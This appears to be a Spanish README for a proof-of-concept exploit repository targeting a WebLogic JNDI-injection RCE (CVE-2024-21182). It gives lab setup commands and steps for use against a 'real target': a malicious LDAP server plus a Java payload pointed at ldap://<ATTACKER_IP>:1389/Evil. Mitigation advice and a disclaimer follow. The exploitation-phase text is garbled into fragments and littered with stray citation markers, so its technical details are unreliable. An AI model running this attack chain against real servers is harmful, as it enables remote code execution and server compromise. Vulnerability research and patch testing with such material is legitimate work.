
Exploit de prueba de concepto para CVE-2024-21182, una inyección JNDI no autenticada que conduce a ejecución remota de código en Oracle WebLogic Server mediante los protocolos T3/IIOP. Incluye un laboratorio Docker para pruebas.
CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE
CVE-2024-21182 es una vulnerabilidad de inyección JNDI no autenticada que afecta al componente Core de Oracle WebLogic Server. Permite a un atacante remoto, a través de los protocolos T3 o IIOP, ejecutar código arbitrario (RCE) en el servidor, pudiendo obtener acceso completo a todos los datos del servidor[citation:5][citation:8][citation:9].
Este repositorio contiene un Proof of Concept (PoC) funcional que demuestra la explotación exitosa del parche de CVE-2023-21839 mediante la cadena de gadgets AggregatableOpaqueReference + MessageDestinationReference[citation:2][citation:4].
| Atributo | Valor |
|---|---|
| CVE | CVE-2024-21182 |
| Producto | Oracle WebLogic Server (Core) |
| Versiones afectadas | 12.2.1.4.0 y 14.1.1.0.0[citation:7] |
| Parche disponible | Oracle Critical Patch Update (Julio 2024 y Octubre 2024)[citation:6] |
| Estado en CISA KEV | Explotación activa confirmada (añadida el 01/06/2026)[citation:3][citation:8] |
| Fecha límite de mitigación (CISA) | 04/06/2026[citation:8] |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fase 1: Reconocimiento: Identificar servidores WebLogic con los puertos T3/IIOP (7001) expuestos.
Fase 2: Análisis: Determinar si el servidor ejecuta una versión vulnerable (12.2.1.4.0 o 14.1.1.0.0) o carece del parche de Octubre 2024.
Fase 3: Explotación (flujo técnico):
AggregatableOpaqueReference[citation:2].referent del objeto anterior para que apunte a un MessageDestinationReference malicioso[citation:4].wlthint3client.jar (se puede extraer de una instalación de WebLogic).# 1. Clonar el repositorio
git clone https://github.com/tu-usuario/CVE-2024-21182.git
cd CVE-2024-21182
# 2. Iniciar el laboratorio (víctima + atacante)
docker-compose up -d
# 3. Ejecutar la explotación automática
./validate.sh
Explotación contra un objetivo real (autorizado)
bash
# 1. Iniciar el servidor LDAP/HTTP malicioso
python3 exploit/ldap_server.py
# 2. En otra terminal, ejecutar el payload Java
javac -cp ".:wlthint3client.jar" poc/CVE_2024_21182.java
java -cp ".:wlthint3client.jar" CVE_2024_21182 t3://<TARGET_IP>:7001 ldap://<ATTACKER_IP>:1389/Evil
📊 Impacto Demostrado
Ejecución remota de comandos (RCE) en el servidor
Acceso no autorizado a datos críticos de la aplicación
Compromiso completo del servidor de aplicaciones
Potencial puerta de entrada para movimiento lateral en la red corporativa
Base para despliegue de ransomware u otras cargas maliciosas
Estado actual según CISA: "Known To Be Used in Ransomware Campaigns? Unknown" (Pero típicamente sí, las RCE en middleware son vector inicial en intrusiones de ransomware).
🛡️ Mitigación
Parchear inmediatamente: Aplicar el Critical Patch Update de Oracle de Octubre 2024 o posterior.
Restricción de red: Bloquear/limitar el acceso a los puertos T3/IIOP (ej. 7001) solo a orígenes confiables.
Monitoreo: Detectar intentos de bind/lookup inusuales en el árbol JNDI.
⚠️ Aviso Legal
Este código es únicamente con fines educativos y de investigación. El uso indebido de este PoC contra sistemas sin autorización expresa es ilegal. El autor no se hace responsable del mal uso de esta información.
📚 Referencias
NVD - CVE-2024-21182
CISA KEV Catalog
Oracle Security Advisory
Análisis técnico original
🤝 Créditos
Investigador original que descubrió la cadena de gadgets
dinosn por el laboratorio reproducible en Docker